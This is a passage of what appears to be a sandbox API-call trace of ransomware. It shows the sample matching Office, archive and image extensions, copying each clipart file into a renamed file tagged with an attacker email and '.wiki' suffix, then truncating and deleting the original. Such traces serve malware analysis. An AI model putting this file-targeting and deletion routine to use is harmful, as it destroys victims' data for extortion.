lpString2=".WMF") returned 1 [0195.719] lstrlenW (lpString=".xlsx") returned 5 [0195.719] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.719] lstrlenW (lpString=".ppt") returned 4 [0195.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.719] lstrlenW (lpString=".zip") returned 4 [0195.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.719] lstrlenW (lpString=".rar") returned 4 [0195.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.719] lstrlenW (lpString=".bz2") returned 4 [0195.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.719] lstrlenW (lpString=".7z") returned 3 [0195.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.719] lstrlenW (lpString=".dbf") returned 4 [0195.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.719] lstrlenW (lpString=".1cd") returned 4 [0195.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.720] lstrlenW (lpString=".jpg") returned 4 [0195.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.720] lstrlenW (lpString=".doc") returned 4 [0195.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.720] lstrlenW (lpString=".docx") returned 5 [0195.720] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.720] lstrlenW (lpString=".pdf") returned 4 [0195.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.720] lstrlenW (lpString=".xls") returned 4 [0195.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.720] lstrlenW (lpString=".xlsx") returned 5 [0195.720] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.720] lstrlenW (lpString=".ppt") returned 4 [0195.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.720] lstrlenW (lpString=".zip") returned 4 [0195.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.720] lstrlenW (lpString=".rar") returned 4 [0195.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.720] lstrlenW (lpString=".bz2") returned 4 [0195.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.720] lstrlenW (lpString=".7z") returned 3 [0195.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.720] lstrlenW (lpString=".dbf") returned 4 [0195.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.720] lstrlenW (lpString=".1cd") returned 4 [0195.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0195.721] lstrlenW (lpString=".jpg") returned 4 [0195.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.721] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.721] lstrlenW (lpString="J0107750.WMF") returned 12 [0195.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.721] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=4716) returned 1 [0195.721] CloseHandle (hObject=0x1f8) returned 1 [0195.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 0x20 [0195.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.722] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.722] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.722] GetLastError () returned 0x0 [0195.722] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x126c, lpOverlapped=0x0) returned 1 [0195.983] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1270, lpOverlapped=0x0) returned 1 [0196.564] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.570] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.571] SetEndOfFile (hFile=0x1f0) returned 1 [0196.571] CloseHandle (hObject=0x1f0) returned 1 [0196.571] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.571] SetEndOfFile (hFile=0x1f8) returned 1 [0196.572] CloseHandle (hObject=0x1f8) returned 1 [0196.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf")) returned 1 [0196.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.572] lstrlenW (lpString=".doc") returned 4 [0196.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.572] lstrlenW (lpString=".docx") returned 5 [0196.572] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0196.572] lstrlenW (lpString=".pdf") returned 4 [0196.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.572] lstrlenW (lpString=".xls") returned 4 [0196.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.572] lstrlenW (lpString=".xlsx") returned 5 [0196.572] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0196.572] lstrlenW (lpString=".ppt") returned 4 [0196.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.573] lstrlenW (lpString=".zip") returned 4 [0196.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.573] lstrlenW (lpString=".rar") returned 4 [0196.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.573] lstrlenW (lpString=".bz2") returned 4 [0196.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.573] lstrlenW (lpString=".7z") returned 3 [0196.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.573] lstrlenW (lpString=".dbf") returned 4 [0196.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.573] lstrlenW (lpString=".1cd") returned 4 [0196.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.573] lstrlenW (lpString=".jpg") returned 4 [0196.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.573] lstrlenW (lpString=".doc") returned 4 [0196.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.573] lstrlenW (lpString=".docx") returned 5 [0196.573] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0196.573] lstrlenW (lpString=".pdf") returned 4 [0196.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.573] lstrlenW (lpString=".xls") returned 4 [0196.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.573] lstrlenW (lpString=".xlsx") returned 5 [0196.574] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0196.574] lstrlenW (lpString=".ppt") returned 4 [0196.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.574] lstrlenW (lpString=".zip") returned 4 [0196.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.574] lstrlenW (lpString=".rar") returned 4 [0196.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.574] lstrlenW (lpString=".bz2") returned 4 [0196.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.574] lstrlenW (lpString=".7z") returned 3 [0196.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.574] lstrlenW (lpString=".dbf") returned 4 [0196.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.574] lstrlenW (lpString=".1cd") returned 4 [0196.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0196.574] lstrlenW (lpString=".jpg") returned 4 [0196.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.669] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.669] lstrlenW (lpString="J0145879.JPG") returned 12 [0196.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.670] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=35419) returned 1 [0196.670] CloseHandle (hObject=0x17c) returned 1 [0196.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 0x20 [0196.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.670] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.670] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0196.671] GetLastError () returned 0x0 [0196.671] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x8a5b, lpOverlapped=0x0) returned 1 [0196.679] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x8a60, lpOverlapped=0x0) returned 1 [0196.680] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.680] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.680] SetEndOfFile (hFile=0x218) returned 1 [0196.680] CloseHandle (hObject=0x218) returned 1 [0196.680] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.680] SetEndOfFile (hFile=0x17c) returned 1 [0196.681] CloseHandle (hObject=0x17c) returned 1 [0196.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0196.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.682] lstrlenW (lpString=".doc") returned 4 [0196.682] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.682] lstrlenW (lpString=".docx") returned 5 [0196.682] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0196.682] lstrlenW (lpString=".pdf") returned 4 [0196.682] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.682] lstrlenW (lpString=".xls") returned 4 [0196.682] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.682] lstrlenW (lpString=".xlsx") returned 5 [0196.682] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0196.682] lstrlenW (lpString=".ppt") returned 4 [0196.682] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.682] lstrlenW (lpString=".zip") returned 4 [0196.682] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.682] lstrlenW (lpString=".rar") returned 4 [0196.682] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.682] lstrlenW (lpString=".bz2") returned 4 [0196.682] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.682] lstrlenW (lpString=".7z") returned 3 [0196.682] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.682] lstrlenW (lpString=".dbf") returned 4 [0196.682] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.682] lstrlenW (lpString=".1cd") returned 4 [0196.682] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.682] lstrlenW (lpString=".jpg") returned 4 [0196.682] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.683] lstrlenW (lpString=".doc") returned 4 [0196.683] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.683] lstrlenW (lpString=".docx") returned 5 [0196.683] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0196.683] lstrlenW (lpString=".pdf") returned 4 [0196.683] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.683] lstrlenW (lpString=".xls") returned 4 [0196.683] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.683] lstrlenW (lpString=".xlsx") returned 5 [0196.683] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0196.683] lstrlenW (lpString=".ppt") returned 4 [0196.683] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.683] lstrlenW (lpString=".zip") returned 4 [0196.683] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.683] lstrlenW (lpString=".rar") returned 4 [0196.683] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.683] lstrlenW (lpString=".bz2") returned 4 [0196.683] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.683] lstrlenW (lpString=".7z") returned 3 [0196.683] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.683] lstrlenW (lpString=".dbf") returned 4 [0196.684] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.684] lstrlenW (lpString=".1cd") returned 4 [0196.684] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0196.684] lstrlenW (lpString=".jpg") returned 4 [0196.684] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.684] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.684] lstrlenW (lpString="J0146142.JPG") returned 12 [0196.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.684] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=46508) returned 1 [0196.684] CloseHandle (hObject=0x17c) returned 1 [0196.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 0x20 [0196.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.685] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.685] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0196.685] GetLastError () returned 0x0 [0196.685] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xb5ac, lpOverlapped=0x0) returned 1 [0196.705] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xb5b0, lpOverlapped=0x0) returned 1 [0196.707] ReadFile (in: hFile=0x17c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0196.707] WriteFile (in: hFile=0x218, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.707] SetEndOfFile (hFile=0x218) returned 1 [0196.707] CloseHandle (hObject=0x218) returned 1 [0196.707] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0196.707] SetEndOfFile (hFile=0x17c) returned 1 [0196.708] CloseHandle (hObject=0x17c) returned 1 [0196.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0196.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.712] lstrlenW (lpString=".doc") returned 4 [0196.712] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.712] lstrlenW (lpString=".docx") returned 5 [0196.712] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0196.712] lstrlenW (lpString=".pdf") returned 4 [0196.712] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.712] lstrlenW (lpString=".xls") returned 4 [0196.712] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.712] lstrlenW (lpString=".xlsx") returned 5 [0196.712] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0196.712] lstrlenW (lpString=".ppt") returned 4 [0196.712] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0196.712] lstrlenW (lpString=".zip") returned 4 [0196.713] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.713] lstrlenW (lpString=".rar") returned 4 [0196.713] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.713] lstrlenW (lpString=".bz2") returned 4 [0196.713] lstrcmpiW (lpString1=".bz2", 